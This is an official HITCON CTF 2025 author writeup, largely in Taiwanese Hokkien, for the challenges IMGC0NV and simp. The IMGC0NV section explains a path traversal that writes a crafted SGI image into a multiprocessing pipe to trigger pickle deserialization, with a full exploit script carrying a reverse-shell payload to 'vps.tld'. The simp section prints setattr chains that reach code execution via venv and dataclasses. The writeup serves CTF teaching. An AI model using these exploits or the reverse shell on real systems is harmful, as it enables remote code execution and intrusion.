HITCON CTF 2025 作者解法 (IMGC0NV, simp)
台語版官方 writeup for HITCON CTF 2025
You are now on Taiwanese Taigi version. The English version is available here:

抐話頭 | 舊年我介成是咧無閒兼變無啥魍,就無去鬥生題目矣,毋過今年我閣轉來 looh——我佇這改兮 HITCON CTF 是生兩條題目,一條 web 佮一條 misc,(又閣)攏是一寡參 Python 有關兮齣頭,希望逐家攏耍了有歡喜!
引得 / Index
[web] IMGC0NV
- Solves: 5
- Time to first solve: 10h 30m
- Source: https://github.com/splitline/My-CTF-Challenges/tree/master/hitcon-quals/2025/imgc0nv
這个網站會當共你傳兮圖片轉換做無仝格式。咱會使一擺 ap-lóo 幾若个檔案,伊會共𪜶轉換了後包包做一个 zip 予你掠。

咱這个題目兮漏縫其實干焦一个爾爾閣誠明顯,就是咧囥轉換了兮檔案兮時有路徑穿󠇡通󠇡兮問題佇咧!
def convert_image(args):
file_data, filename, output_format, temp_dir = args
try:
with Image.open(io.BytesIO(file_data)) as img:
if img.mode != "RGB":
img = img.convert('RGB')
filename = safe_filename(filename)
orig_ext = filename.rsplit('.', 1)[1] if '.' in filename else None
ext = output_format.lower()
if orig_ext:
out_name = filename.replace(orig_ext, ext, 1)
else:
out_name = f"{filename}.{ext}"
output_path = os.path.join(temp_dir, out_name)
with open(output_path, 'wb') as f:
img.save(f, format=output_format)
return output_path, out_name, None
except Exception as e:
return None, filename, str(e)
def safe_filename(filename):
filneame = filename.replace("/", "_").replace("..", "_")
return filename
Ê?啊毋是有 safe_filename
佇遐,介成是誠安全啊——無nooh,恁若是共伊斟酌看,着,遐拍毋着去矣,是 filename
毋是 filneame
啦 :P,就因為一个 typo,這規个 safe_filename
tsua̋nn 就變無彩工去矣。是講咧比賽兮時陣敢若有足濟人看着彼个 typo 煞感覺霧嗄嗄,毋知影彼到底是刁工抑是無細膩去拍毋着兮 XDD
閣來猶有一个問題——伊會去共原本檔案名兮字尾名用目標格式兮字尾名換掉,若原本無就共伊生出來(file_aaa.bmp
or file_aaa
⭢ file_aaa.png
),毋過伊這个過程有寡問題:
- 換字尾名兮時,是換「頭一个」爾爾,若是佇真正兮字尾名出現進前就囥一个仝款兮字尾名就會出重耽 —— 譬論講
/tmp/asdxxxqwe/foo.xxx
欲換做 PNG 會夆變做/tmp/asdpngqwe/foo.xxx
- 掠原本檔案名兮字尾名兮時,是用上尾仔一个
.
來去做分拆——就算講彼个點後壁是路徑伊原仔嘛是照掠 —— 譬論講/tmp/asd./foo/bar
兮字尾名兮夆當做是/foo/bar
彼規捾
所以咱若是想欲寫去任何路徑,就會當鬥一个像 /path/to/foo[/TARGET/PATH]bar/../../.[/TARGET/PATH]
兮路徑送去予 server,按呢 server 遐就會共換做 /path/to/foo[FORMAT]bar/../../.[/TARGET/PATH]
,因為伊共規个 /TARGET/PATH
當做是字尾名,去共頭前先出現兮部份換掉矣。
毋過重點是,foo[FORMAT]bar
兮 FORMAT 愛是 Pillow library 原底有支援寫入兮,也就是下跤這幾个:
bmp dib gif jpeg ppm png avif blp bufr pcx dds eps grib hdf5 jpeg2000 icns ico im tiff mpo msp palm pdf qoi sgi spider tga webp wmf xbm
閣來就是,頭前彼條 /path/to/foo[/TARGET/PATH]bar
路徑嘛一定愛是真正有佇咧系統頂兮。咱若繼續揣揣咧,有合這个條件兮就干焦賰這五个爾爾矣:
im
ico
mpo
sgi
bmp
到這步,咱已經有完整兮路徑穿󠇡通󠇡,會當去共伊烏白寫(夆轉換過兮)檔案矣,紲落來咱兮問題就變做「路徑欲寫去佗位、內容閣欲寫啥」矣——畢竟這毋是 PHP,毋是寫一个 webshell 就好矣,而且規个系統攏設了誠嚴,所有 /tmp
、/proc
以外兮檔案對目前兮使用者來講攏是 read-only。
好,咱若來繼續共程式看予齊󠇡,會發現講伊其實佇逐个請求攏有開一个 multiprocessing 兮 pool,伊目的是欲予欲轉換圖片會當平行處理兮。
@app.before_request
def before_request():
g.pool = Pool(processes=8)
@app.route('/convert', methods=['POST'])
def convert_images():
# ...
results = list(g.pool.map(convert_image, file_data))
# ...
毋過彼窟 pool 背後是按怎運作、實際上會創啥物咧?
做為一兮做 multiprocessing 兮工具,一定就愛有 IPC(inter-process communication)兮行為佇咧,按呢才有法度予 parent process 佮 child process 互相交流,佇遮伊兮步數就是開 pipe fd,透過 pickle 來交流。(ref. Lib/multiprocessing/connection.py)
nobody@eef7c3037132:/app$ ls -al /proc/7/fd
total 0
dr-x------ 2 nobody nogroup 9 Aug 25 20:05 .
dr-xr-xr-x 9 nobody nogroup 0 Aug 25 20:05 ..
lrwx------ 1 nobody nogroup 64 Aug 25 20:05 0 -> /dev/null
l-wx------ 1 nobody nogroup 64 Aug 25 20:05 1 -> 'pipe:[699185]'
l-wx------ 1 nobody nogroup 64 Aug 25 20:05 2 -> 'pipe:[699186]'
lr-x------ 1 nobody nogroup 64 Aug 25 20:05 3 -> 'pipe:[704954]'
l-wx------ 1 nobody nogroup 64 Aug 25 20:05 4 -> 'pipe:[704954]'
lrwx------ 1 nobody nogroup 64 Aug 25 20:05 5 -> 'socket:[704955]'
lrwx------ 1 nobody nogroup 64 Aug 25 20:05 6 -> '/tmp/wgunicorn-p6d78yho (deleted)'
lr-x------ 1 nobody nogroup 64 Aug 25 20:05 7 -> 'pipe:[699203]'
l-wx------ 1 nobody nogroup 64 Aug 25 20:05 8 -> 'pipe:[699203]'
欸,是 pickle 呢,聽起來敢若誠危險!咱攏知影,若是 server 遐烏白去反序󠇡列化 pickle 資料,就有法度予人做到 RCE,這算是一个較眾人知兮漏縫。到遮逐个凡勢攏想會着矣,咱其實干焦需要予生圖遐生一个 pickle data 出來,閣利用頭前兮路徑穿通寫入去彼个 pipe 內底就會當得着一个 RCE 矣—— 着,/proc/*/fd
下跤兮 pipe 咱是會當直接當做檔案去寫兮!
Pipe 欲接兮格式是生按呢:
[ 4 bytes little-endian len(pickle_data) ]
[ pickle_data ]
講是按呢講,毋過咱寫兮原仔是夆轉換過兮圖片,毋是直接有規組會當予咱控制兮資料。若按呢,欲揀佗一个圖片格式才會得生出合咱用、會當寫這个 protocol 兮格式兮咧?
咱先翻頭看,頭前上代先咱其實已經共圖片格式兮條件限甲絚絚絚矣。閣來欲揣兮就是愛較簡單,RGB pixel 會直接變做 raw byte 兮彼款,按呢較好予咱烏白藏 pickle payload 佇內底。
我家己落尾是揀 SGI,因為 SGI 生出來兮 header (file signature) 是 01da0001
,若共換做 little-endia 整數會是較細兮(16,833,025),按呢咱後壁需要去寫兮資料就較少一寡。
毋過嘛有人用 BMP 去解決這題,若按呢做就愛開幾若 GB 去寫 pipe fd 才會當寫有夠,會較了時間閣無穩定。
我兮方式就是頭前兮 16833025 bytes 就先莫管直接擲入去 pipe 內底,共彼當做一定會 invalid 兮資料提㧒捔,後壁才來共伊接真正兮 IPC protocl (pickle 資料) ,紲落來 multiprocessing 遐就會共咱兮資料反序列化,咱就會當提着 RCE 矣!
遮是完整兮 exploit:
from PIL import Image, ImageDraw
CONV_URL = 'http://chall.tld/convert'
width, height = 65535, 159
img = Image.new('RGB', (width, height), 'black')
draw = ImageDraw.Draw(img)
draw.rectangle([(65504, 3), (65505, 3)], fill='#0000FF') # size=0xFFFF (0xFF x 2px)
# reverse shell
payload = b'cbuiltins\nexec\n(Vimport socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("vps.tld",13337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);\ntR....'
for i, c in enumerate(payload):
draw.rectangle([
((65506 + i) % width, 3 - (65506 + i) // width),
((65506 + i) % width, 3 - (65506 + i) // width)
], fill='#FFFF%02X' % (c))
img.save('pixel.png', 'PNG')
##### request #####
import requests
with open('pixel.png', 'rb') as f:
fd = 10
path = f'/proc/self/fd/{fd}'
files = {
'files': (f'/usr/local/lib/python3.13/w{path}ref/../../../../../../../../../../.{path}', f)
}
response = requests.post(CONV_URL, files=files, data={'format': 'SGI'})
print(response.status_code)
print(response.text)
[misc] simp
- Solves: 6
- Time to first solve: 6h 30m
- Source: https://github.com/splitline/My-CTF-Challenges/tree/master/hitcon-quals/2025/simp
這條題目是走佇 3.13.7 兮 Python 頂懸兮,彼 code 實在是簡單甲有賰 XD,就三逝 Python 爾爾
#!/usr/local/bin/python3
while True:
mod, attr, value = input('>>> ').split(' ')
setattr(__import__(mod), attr, value)
伊咧做兮代誌,我應該是免閣解說矣啦乎,毋過伊兮環境有較特別一寡,使用者是佇咧一个獨立兮、寫會入兮 directory 內底:
exec 2>/dev/null
SANDBOX=$(mktemp -d /tmp/simp.XXXXXX)
cd $SANDBOX
timeout 30 /home/ctf/chal.py
rm -rf $SANDBOX
好,咱直接來看逐家是按怎來共伊利用兮!這題兮重點是,愛去揣着彼寡共 import 入來就會直接去走兮部份,才閣來詳細看欲改啥物 attribute 去予伊執行兮理路改走精。代先我去揣着兮是這組:
setattr(__import__("sys"), "argv", "xx")
setattr(__import__("sys"), "_base_executable", "/usr/local/lib/python3.13/pdb.py")
setattr(__import__("venv.__main__"), "x", "x")
因為 venv 兮 main 無寫像 if __name__ == '__main__'
這款兮條件,所以咱若直接去共 import,就會使走伊兮 main 函式矣。紲落來閣共伊改一寡變數,按呢咱 tsua̋nn 就有機會擾亂伊執行兮理路矣——毋過有一个小可無媠氣个所在就是咱這个方式愛有權限去寫 cwd 兮檔案。
尾仔共我鬥驗題兮 @lebr0nli 嘛有揣着一个毋免寫着檔案兮招數,毋過彼時這題已經釋出矣,就無去共條件改加較嚴矣:
setattr(__import__("dataclasses"), "_FIELDS", "x\rbreakpoint()\rdef\tfoo():#")
setattr(__import__("dataclasses"), "_POST_INIT_NAME", "x\rbreakpoint()\rdef\tfoo():#")
setattr(__import__("pstats"), "x", "x")
其實這題我是比賽比到欲半才臨時臨曜去生出來兮,無傷濟時間去揣各種解法,毋過加減有揣着頂懸講兮彼个愛寫着檔案兮 venv 耍法,就隨共伊出出來矣
我相信一定有閣較濟方法來拍這題啦,若是有朋友揣着別个耍法歡迎來共我罔分享 :D